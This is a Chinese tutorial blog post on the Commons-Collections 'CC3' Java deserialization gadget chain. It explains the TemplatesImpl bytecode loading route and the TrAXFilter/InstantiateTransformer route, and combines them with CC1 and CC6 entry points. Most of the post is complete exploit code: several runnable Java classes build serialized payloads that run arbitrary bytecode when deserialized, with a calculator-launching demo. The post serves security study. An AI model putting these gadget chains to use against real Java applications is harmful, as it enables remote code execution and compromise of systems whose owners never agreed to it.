CC3链
CC3与CC1和CC6不同的地方在于,他是通过动态加载字节码来实现的,而后面两条链是通过 Runtime.exec()
进行命令执行的,容易被ban
构建环境
jdk8u65
Commons-Collections 3.2.1
TemplatesImpl 解析
我们知道TemplatesImpl
是⼀个可以加载字节码的类,通过调用其newTransformer()
方法,即可执行这段字节码的类构造器
CC1 链的 TemplatesImpl 的实现方式
其实只需要把InvokerTransformer
执行的方法改为TemplatesImpl
的newTransformer()
方法
也就是把
1
2
3
4
5
6
|
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
|
改成
1
2
3
4
|
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
|
这里的templates就是我们前下留在本地待加载的字节码,见类的动态加载那一节
完整的exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
package com.cc3test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Test03 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\TemplateClassLoader\\calcTest.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl,"_name","calc");
setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
// templatesImpl.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesImpl),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","hajimi");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationconstructor.setAccessible(true);
Object o = annotationconstructor.newInstance(Target.class, transformedmap);
serialize(o);
unserialize("ser.bin");
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(target,value);
}
//定义序列化方法
public static void serialize(Object o) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(o);
}
//定义反序列化方法
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
Object o = in.readObject();
return o;
}
}
|
LazyMap那种CC1也是一样的,就只有一个部分更改了
CC6 链的 TemplatesImpl 的实现方式
同样的原理,上CC6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
package com.cc3test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Test04 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\TemplateClassLoader\\calcTest.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl,"_name","calc");
setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
// templatesImpl.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesImpl),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry t = new TiedMapEntry(lazymap, "key");
HashMap<Object, Object> finalmap = new HashMap<>();
finalmap.put(t, "value");
lazymap.remove("key");
Class c = LazyMap.class;
Field f = c.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazymap,chainedTransformer);
serialize(finalmap);
unserialize("ser.bin");
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(target,value);
}
//定义序列化方法
public static void serialize(Object o) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(o);
}
//定义反序列化方法
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
Object o = in.readObject();
return o;
}
}
|
CC3链分析
既然是类的加载,我们直接跟进ClassLoader
类里面的defineClass
,然后查找用法

找到TemlatesImpl
类
然后一步步查看用法,找到public类型的,发现getTransletInstance
是有一个实例化操作的,因为我们想要通过类加载来实现RCE,不仅要动态加载,还需要实例化

而另外两个方法都是直接返回原来对象
往上跟进,发现是newTransformer
方法调用了这个getTransletInstance
方法

然后后面的内容就在类的动态加载这里说明过了
然后就是查看谁调用了newTransformer

找到TrAXFilter
这个类,看看构造器
1
2
3
4
5
6
7
8
|
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
|
发现构造器里面调用了newTransformer方法,也是可以直接触发的,但是这个类本身没有继承Serializable接口,所以没办法序列化
我们回到yso里面看看他的CC3怎么实现的
首先看到Transformer数组不一样了,不是跟我们一样的InvokerTransformer
1
2
3
4
5
|
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
|
而是InstantiateTransformer类,我们跟进去看看,找到tranform
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
|
发现他可以调用构造器,那我们正好可以用这个来调用TrAXFilter类的构造器,从而调用newTransformer方法然后触发链子
1
2
|
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});
instantiateTransformer.transform(TrAXFilter.class);
|
然后其实就能执行了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
package com.cc3test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Test05 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\TemplateClassLoader\\calcTest.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl,"_name","calc");
setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});
instantiateTransformer.transform(TrAXFilter.class);
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(target,value);
}
}
|
CC1作为前半部分
这里需要注意的是我们仍然用了Transformer数组的形式来,是因为CC1链之前老问题,setValue方法的参数不可控,需要ConstantTransformer来固定为TrAXFilter,然后才会触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
package com.cc3test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Test05 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\TemplateClassLoader\\calcTest.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl,"_name","calc");
setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","hajimi");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationconstructor.setAccessible(true);
Object o = annotationconstructor.newInstance(Target.class, transformedmap);
serialize(o);
unserialize("ser.bin");
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(target,value);
}
//定义序列化方法
public static void serialize(Object o) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(o);
}
//定义反序列化方法
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
Object o = in.readObject();
return o;
}
}
|
CC6作为前半部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
package com.cc3test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Test05 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\TemplateClassLoader\\calcTest.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl,"_name","calc");
setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry t = new TiedMapEntry(lazymap, "key");
HashMap<Object, Object> finalmap = new HashMap<>();
finalmap.put(t, "value");
lazymap.remove("key");
Class c = LazyMap.class;
Field f = c.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazymap,chainedTransformer);
serialize(finalmap);
unserialize("ser.bin");
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(target,value);
}
//定义序列化方法
public static void serialize(Object o) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(o);
}
//定义反序列化方法
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
Object o = in.readObject();
return o;
}
}
|